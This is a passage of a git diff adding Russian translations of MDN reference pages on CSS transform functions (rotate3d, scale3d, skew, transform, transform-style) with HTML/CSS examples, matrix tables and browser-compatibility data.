+<h3 id="Объединение_вращения_с_другим_преобразованием">Объединение вращения с другим преобразованием</h3>
+
+<p>Если вы хотите применить к элементу несколько преобразований, будьте осторожны с порядком, в котором вы указываете свои преобразования. Например, если вы вращаете перед сдвигом, сдвиг произойдёт относительно новой оси вращения!</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="rotate"&gt;Rotated&lt;/div&gt;
+&lt;div class="rotate-translate"&gt;Rotated + Translated&lt;/div&gt;
+&lt;div class="translate-rotate"&gt;Translated + Rotated&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  position: absolute;
+  left: 40px;
+  top: 40px;
+  width: 100px;
+  height: 100px;
+  background-color: lightgray;
+}
+
+.rotate {
+  background-color: transparent;
+  outline: 2px dashed;
+  transform: rotate(45deg);
+}
+
+.rotate-translate {
+  background-color: pink;
+  transform: rotate(45deg) translateX(180px);
+}
+
+.translate-rotate {
+  background-color: gold;
+  transform: translateX(180px) rotate(45deg);
+}
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Объединение_вращения_с_другим_преобразованием", "auto", 320)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-rotate", "rotate()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.properties.rotate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-function")}}</li>
+ <li>{{cssxref("transform-function/rotate3d", "rotate3d()")}}</li>
+</ul>
diff --git a/files/ru/web/css/transform-function/rotate3d()/index.html b/files/ru/web/css/transform-function/rotate3d()/index.html
new file mode 100644
index 0000000000..5558f3f69f
--- /dev/null
+++ b/files/ru/web/css/transform-function/rotate3d()/index.html
@@ -0,0 +1,131 @@
+---
+title: rotate3d()
+slug: Web/CSS/transform-function/rotate3d()
+tags:
+  - CSS
+translation_of: Web/CSS/transform-function/rotate3d()
+---
+<div>{{CSSRef}}</div>
+
+<div>Функция <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>rotate3d()</code> </strong>трансформирует элемент без деформации, вращяя его в трехмерном пространстве вокруг зафиксированной оси. Её результатом является тип {{cssxref ("&lt;transform-function&gt;")}}.</div>
+
+<div> </div>
+
+<div>{{EmbedInteractiveExample("pages/css/rotate3d.html")}}</div>
+
+
+
+<p>In 3D space, rotations have three degrees of liberty, which together describe a single axis of rotation. The axis of rotation is defined by an [x, y, z] vector and pass by the origin (as defined by the {{ cssxref("transform-origin") }} property). If, as specified, the vector is not <em>normalized</em> (i.e., if the sum of the square of its three coordinates is not 1), the {{glossary("user agent")}} will normalize it internally. A non-normalizable vector, such as the null vector, [0, 0, 0], will cause the rotation to be ignored, but without invaliding the whole CSS property.</p>
+
+<div class="note"><strong>Note:</strong> Unlike rotations in the 2D plane, the composition of 3D rotations is usually not commutative. In other words, the order in which the rotations are applied impacts the result.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The amount of rotation created by <code>rotate3d()</code> is specified by three {{cssxref("&lt;number&gt;")}}s and one {{cssxref("&lt;angle&gt;")}}. The <code>&lt;number&gt;</code>s represent the x-, y-, and z-coordinates of the vector denoting the axis of rotation. The <code>&lt;angle&gt;</code> represents the angle of rotation; if positive, the movement will be clockwise; if negative, it will be counter-clockwise.</p>
+
+<pre class="syntaxbox notranslate">rotate3d(<em>x</em>, <em>y</em>, <em>z</em>, <em>a</em>)
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} describing the x-coordinate of the vector denoting the axis of rotation which could between 0 and 1.</dd>
+ <dt><code>y</code></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} describing the y-coordinate of the vector denoting the axis of rotation which could between 0 and 1.</dd>
+ <dt><code>z</code></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} describing the z-coordinate of the vector denoting the axis of rotation which could between 0 and 1.</dd>
+ <dt><code>a</code></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle of the rotation. A positive angle denotes a clockwise rotation, a negative angle a counter-clockwise one.</dd>
+</dl>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <td rowspan="2">This transformation applies to the 3D space and can't be represented on the plane.</td>
+  </tr>
+  <tr>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+  </tr>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <td colspan="1"><a href="/@api/deki/files/5987/=transform-functions-rotate3d_cart.png"><img src="/@api/deki/files/5987/=transform-functions-rotate3d_cart.png?size=webview" style="height: 47px; width: 510px;"></a><math> <mfenced><mtable><mtr><mtd>1<mo>+</mo>(1<mo>-</mo>cos(<mi>a</mi>))(<msup><mi>x</mi><mn>2</mn></msup><mo>-</mo>1)</mtd><mtd><mi>z</mi><mo>·</mo>sin(<mi>a</mi>)+<mi>x</mi><mi>y</mi>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd><mo>-</mo><mi>y</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd></mtr><mtr><mtd><mo>-</mo><mi>z</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>x</mi><mi>y</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtd>1+(1-cos(a))(y2-1)</mtd><mtd><mi>x</mi><mo>·</mo>sin(<mi>a</mi>)<mo>+</mo><mi>y</mi><mi>z</mi><mo>·</mo>(1<mo>-</mo>cos(<mi>a</mi>))</mtd><mtr><mtd>ysin(a) + xz(1-cos(a))</mtd><mtd>-xsin(a)+yz(1-cos(a))</mtd><mtd>1+(1-cos(a))(z2-1)</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr> </mtr></mtable></mfenced></math></td>
+  </tr>
+  <tr>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+   <td colspan="1"><a href="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png"><img src="/@api/deki/files/5986/=transform-functions-rotate3d_hom4.png?size=webview" style="height: 61px; width: 522px;"></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Rotating_on_the_y-axis">Rotating on the y-axis</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="rotated"&gt;Rotated&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">body {
+  perspective: 800px;
+}
+
+div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.rotated {
+  transform: rotate3d(0, 1, 0, 60deg);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Rotating_on_the_y-axis", "auto", 180)}}</p>
+
+<h3 id="Rotating_on_a_custom_axis">Rotating on a custom axis</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="rotated"&gt;Rotated&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">body {
+  perspective: 800px;
+}
+
+div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.rotated {
+  transform: rotate3d(1, 2, -1, 192deg);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Rotating_on_a_custom_axis", "auto", 180)}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>Please see the <code><a href="/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> data type for compatibility info.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/ru/web/css/transform-function/scale3d()/index.html b/files/ru/web/css/transform-function/scale3d()/index.html
new file mode 100644
index 0000000000..7caca80cca
--- /dev/null
+++ b/files/ru/web/css/transform-function/scale3d()/index.html
@@ -0,0 +1,99 @@
+---
+title: scale3d()
+slug: Web/CSS/transform-function/scale3d()
+translation_of: Web/CSS/transform-function/scale3d()
+---
+<div>{{CSSRef}}</div>
+
+<p><code>scale3d()</code> CSS функция изменяет размер элемента. Благодяря величине масштабирования определенной вектором, может изменять различные размеры в разных масштабах.</p>
+
+<p>Это преобразование характеризуется вектором, координаты которого определяют, сколько масштабирования выполняется в каждом направлении. Если все три координаты вектора равны, масштабирование равномерно или изотропно, а форма элемента сохраняется. В этом случае функция масштабирования определяет гомотетическое преобразование.</p>
+
+<p>Когда вне диапазона [-1, 1], масштабирование увеличивает элемент в направлении координаты; Когда внутри диапазона он сжимает элемент в этом направлении. При равном 1 он ничего не делает, а когда отрицательный, он выполняет точечное отражение и модификацию размера.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">scale3d(<em>sx</em>, <em>sy</em>, <em>sz</em>)
+</pre>
+
+<h2 id="Значения">Значения</h2>
+
+<dl>
+ <dt><em>sx</em></dt>
+ <dd>Является  {{cssxref("&lt;number&gt;")}} , представляющим абсцисс вектора масштабирования.</dd>
+ <dt><em>sy</em></dt>
+ <dd>Является  {{cssxref("&lt;number&gt;")}} , представляющим ординату вектора масштабирования.</dd>
+ <dt><em>sz</em></dt>
+ <dd>Является  {{cssxref("&lt;number&gt;")}}, представляющим z-компонент масштабирующего вектора.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Это преобразование применяется к пространству 3D и не может быть представлено на плоскости.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>sz</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>sz</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Without_changing_the_origin">Without changing the origin</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;foo&lt;/p&gt;
+&lt;p class="transformed"&gt;bar&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformed {
+  transform: perspective(500px) scale3d(0.8, 2, 0.2) translateZ(100px);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Without_changing_the_origin","100%","200")}}</p>
+
+<h3 id="Translating_the_origin_of_the_transformation">Translating the origin of the transformation</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;foo&lt;/p&gt;
+&lt;p class="transformed"&gt;bar&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformed {
+  transform: scale3d(2, 3, 0);
+  transform-origin: center;
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Translating_the_origin_of_the_transformation","100%","200")}}</p>
diff --git a/files/ru/web/css/transform-function/skew()/index.html b/files/ru/web/css/transform-function/skew()/index.html
new file mode 100644
index 0000000000..04ff2df26c
--- /dev/null
+++ b/files/ru/web/css/transform-function/skew()/index.html
@@ -0,0 +1,117 @@
+---
+title: skew()
+slug: Web/CSS/transform-function/skew()
+translation_of: Web/CSS/transform-function/skew()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>skew()</code></strong> трансформирует элемент, наклоняя его в 2D-пространстве.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-skew.html")}}</div>
+
+
+
+<p>Данная трансформация является линейным преобразованием векторного пространства (трансвекция или <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), которое деформирует каждую точку элемента на определенный угол по горизонтали или вертикали. Координаты каждой точки изменяются на величину, пропорциональную указанному углу и расстоянию до точки, относительно которой выполняется трансформация (origin); таким образом, чем больше расстояние до смещаемой точки элемента, тем больше она будет смещена по горизонтали или вертикали.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Функция <code>skew()</code> задается одним или двумя значениями которые отображают наклон в каждом из направлений.</p>
+
+<pre class="syntaxbox notranslate">skew(<em>ax</em>)
+
+skew(<em>ax</em>, <em>ay</em>)
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>ax</code></dt>
+ <dd>Указывается значение {{cssxref("&lt;angle&gt;")}}, которое является углом наклона вдоль оси X.</dd>
+ <dt><code>ay</code></dt>
+ <dd>Указывается значение {{cssxref("&lt;angle&gt;")}}, которое является углом наклона вдоль оси Y. Если данное значение не задано, то по умолчанию оно равно <code>0</code>. В этом случае вертикального наклона не будет, а будет только горизонтальный.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd></mtr><mtr>tan(ay)<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr><mtr></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 tan(ay) tan(ax) 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Используя_только_наклон_по_оси_x">Используя только наклон по оси x</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Обычный&lt;/div&gt;
+&lt;div class="skewed"&gt;Наклоненный&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.skewed {
+  transform: skew(10deg); /* Equal to skewX(10deg) */
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Using_a_single_x-angle", 200, 200)}}</p>
+
+<h3 id="Используя_два_угла">Используя два угла</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Обычный&lt;/div&gt;
+&lt;div class="skewed"&gt;Наклоненный&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.skewed {
+  transform: skew(10deg, 10deg);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Using_two_angles", 200, 200)}}</p>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>Please see the <code><a href="/en-US/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> data type for compatibility info.</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/ru/web/css/transform-style/index.html b/files/ru/web/css/transform-style/index.html
new file mode 100644
index 0000000000..c8c931cc27
--- /dev/null
+++ b/files/ru/web/css/transform-style/index.html
@@ -0,0 +1,118 @@
+---
+title: transform-style
+slug: Web/CSS/transform-style
+translation_of: Web/CSS/transform-style
+---
+<div>{{CSSRef("CSS Transforms")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <code>transform-style</code> <a href="/en-US/docs/Web/CSS">CSS</a> определяет положение дочернего элемента в 3D-пространстве или в той же плоскости, что и родительский элемент.</p>
+
+<p>Если flat, то дочерний элемент  не будет существовать в своем собственном 3D-пространстве.</p>
+
+<p>Поскольку это свойство не наследуется, его следует устанавливать для всех не прямых потомков элемента.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* Keyword values */
+transform-style: preserve-3d;
+transform-style: flat;
+
+/* Global values */
+transform-style: inherit;
+transform-style: initial;
+transform-style: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>preserve-3d</code></dt>
+ <dd>Показывает, что дочерний элемент должен быть спозиционирован в 3D-пространстве.</dd>
+ <dt><code>flat</code></dt>
+ <dd>Показывает, что дочерний элемент лежит в той же плоскости, что и родительский.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-style', 'transform-style')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>12{{property_prefix('-webkit')}}</td>
+   <td>{{CompatGeckoDesktop("10")}}{{property_prefix('-moz')}}<br>
+    {{CompatGeckoDesktop("16")}}</td>
+   <td>10<sup>[1]</sup></td>
+   <td>15{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0{{property_prefix('-webkit')}}</td>
+   <td>{{CompatGeckoMobile("10")}}{{property_prefix('-moz')}}<br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>8.1</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix('-webkit')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer currently doesn't support the <code>preserve-3d</code> value.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms">Using CSS Transforms</a></li>
+</ul>
diff --git a/files/ru/web/css/transform/index.html b/files/ru/web/css/transform/index.html
new file mode 100644
index 0000000000..d599420c00
--- /dev/null
+++ b/files/ru/web/css/transform/index.html
@@ -0,0 +1,155 @@
+---
+title: transform
+slug: Web/CSS/transform
+tags:
+  - CSS
+  - transform
+  - Верстка
+  - Свойство CSS
+  - наклон
+  - поворот
+  - трансформация
+translation_of: Web/CSS/transform
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>transform</code></strong> позволяет вам поворачивать, масштабировать, наклонять или сдвигать элемент. Оно модифицирует координатное пространство для CSS <a href="/en-US/docs/Web/CSS/Visual_formatting_model">визуальной форматируемой модели</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform.html")}}</div>
+
+
+
+<p>Если свойство имеет значение, отличное от  <code>none</code>, будет создан <a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">контекст наложения</a>. В этом случае, элемент будет действовать как <a href="/en-US/docs/Web/CSS/Containing_block">содержащий блок</a> для любых элементов <code>position: fixed;</code> или <code>position: absolute;</code> которые он содержит.</p>
+
+<div class="warning">
+<p>Только трансформируемый элемент может быть <code>transform</code>. Т.е. все элементы, шаблоны которых регулируются блочной моделью CSS, кроме : <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Visual_formatting_model#Inline-level_elements_and_inline_boxes">неизменяемые инлайновые блоки</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/col">блоки таблица-колонка</a>, и <a href="/en-US/docs/Web/HTML/Element/colgroup">блоки таблица-колонка-группа</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Значения ключевым словом*/
+transform: none;
+
+/* Значения функций */
+transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
+transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
+transform: perspective(17px);
+transform: rotate(0.5turn);
+transform: rotate3d(1, 2.0, 3.0, 10deg);
+transform: rotateX(10deg);
+transform: rotateY(10deg);
+transform: rotateZ(10deg);
+transform: translate(12px, 50%);
+transform: translate3d(12px, 50%, 3em);
+transform: translateX(2em);
+transform: translateY(3in);
+transform: translateZ(2px);
+transform: scale(2, 0.5);
+transform: scale3d(2.5, 1.2, 0.3);
+transform: scaleX(2);
+transform: scaleY(0.5);
+transform: scaleZ(0.3);
+transform: skew(30deg, 20deg);
+transform: skewX(30deg);
+transform: skewY(1.07rad);
+
+/* Мультифункциональные значения */
+transform: translateX(10px) rotate(10deg) translateY(5px);
+transform: perspective(500px) translate(10px, 0, 20px) rotateY(3deg);
+
+/* Глобальные значения */
+transform: inherit;
+transform: initial;
+transform: unset;
+</pre>
+
+<p>Свойство <code>transform</code> может быть указано как значение ключевого слова <code><a href="#none">none</a></code> или как одно или более значений <code><a href="#&lt;transform-function>">&lt;transform-function&gt;</a></code>.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt id="&lt;transform-function>">{{cssxref("&lt;transform-function&gt;")}}</dt>
+ <dd>Одна или более применяемых <a href="/en-US/docs/Web/CSS/transform-function">функций CSS-трансформации</a>. Функции трансформации  умножаются в порядке слева направо, что означает, что составное трансформирование эффективнее применять в порядке справа налево.</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>Указывает, что трансформация не должна применяться.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<p>Если {{cssxref("transform-function/perspective", "perspective()")}} является одним из мультифункциональных значений, оно должно быть указано первым.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Transformed element&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  border: solid red;
+  transform: translate(30px, 20px) rotate(20deg);
+  width: 140px;
+  height: 60px;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Примеры", "400", "160")}}</p>
+
+<p>Для того, чтобы посмотреть другие примеры, обратитесь к <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">Использование CSS-трансформации</a> и {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<p>Scaling/zooming анимации являются проблемой для accessibility, поскольку они становятся частым триггером для определенных типов мигрени. Если вам нужно добавить такие анимации на вашем веб-сайте, вы должны предоставить элемент управления, позволяющий пользователям отключать анимации, предпочтительно для всего сайта.</p>
+
+<p>Кроме того, рассмотрите возможность использования @media-опции {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} — используйте ее для написания {{cssxref("Media_Queries", "медиа-запроса")}}, который отключит анимацию, если пользователь уменьшил анимацию в системных настройках.</p>
+
+<p>Узнать больше:</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.3_%E2%80%94_Seizures_and_Physical_Reactions_Do_not_design_content_in_a_way_that_is_known_to_cause_seizures_or_physical_reactions">MDN Understanding WCAG, Guideline 2.3 explanations</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions">Understanding Success Criterion 2.3.3 | W3C Understanding WCAG 2.1</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Добавлены 3D-функции трансформации.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.transform")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms">Использование CSS-трансформации</a></li>
+ <li>{{cssxref("&lt;transform-function&gt;")}} типы  данных</li>
+ <li><a href="https://louisremi.github.io/jquery.transform.js/">Плагин jQuery для кросс-браузерной 2D-трансформации</a></li>
+</ul>
diff --git a/files/ru/web/css/transition-duration/index.html b/files/ru/web/css/transition-duration/index.html
new file mode 100644
index 0000000000..f40f16a273
--- /dev/null
+++ b/files/ru/web/css/transition-duration/index.html
@@ -0,0 +1,341 @@
+---
+title: transition-duration
+slug: Web/CSS/transition-duration
+translation_of: Web/CSS/transition-duration
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>transition-duration</code></strong> определяет продолжительность выполнения анимации. Значение по-умолчанию равняется <code>0s</code>, т.е. отстутствие анимации.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/transition-duration.html")}}</p>
+
+
+
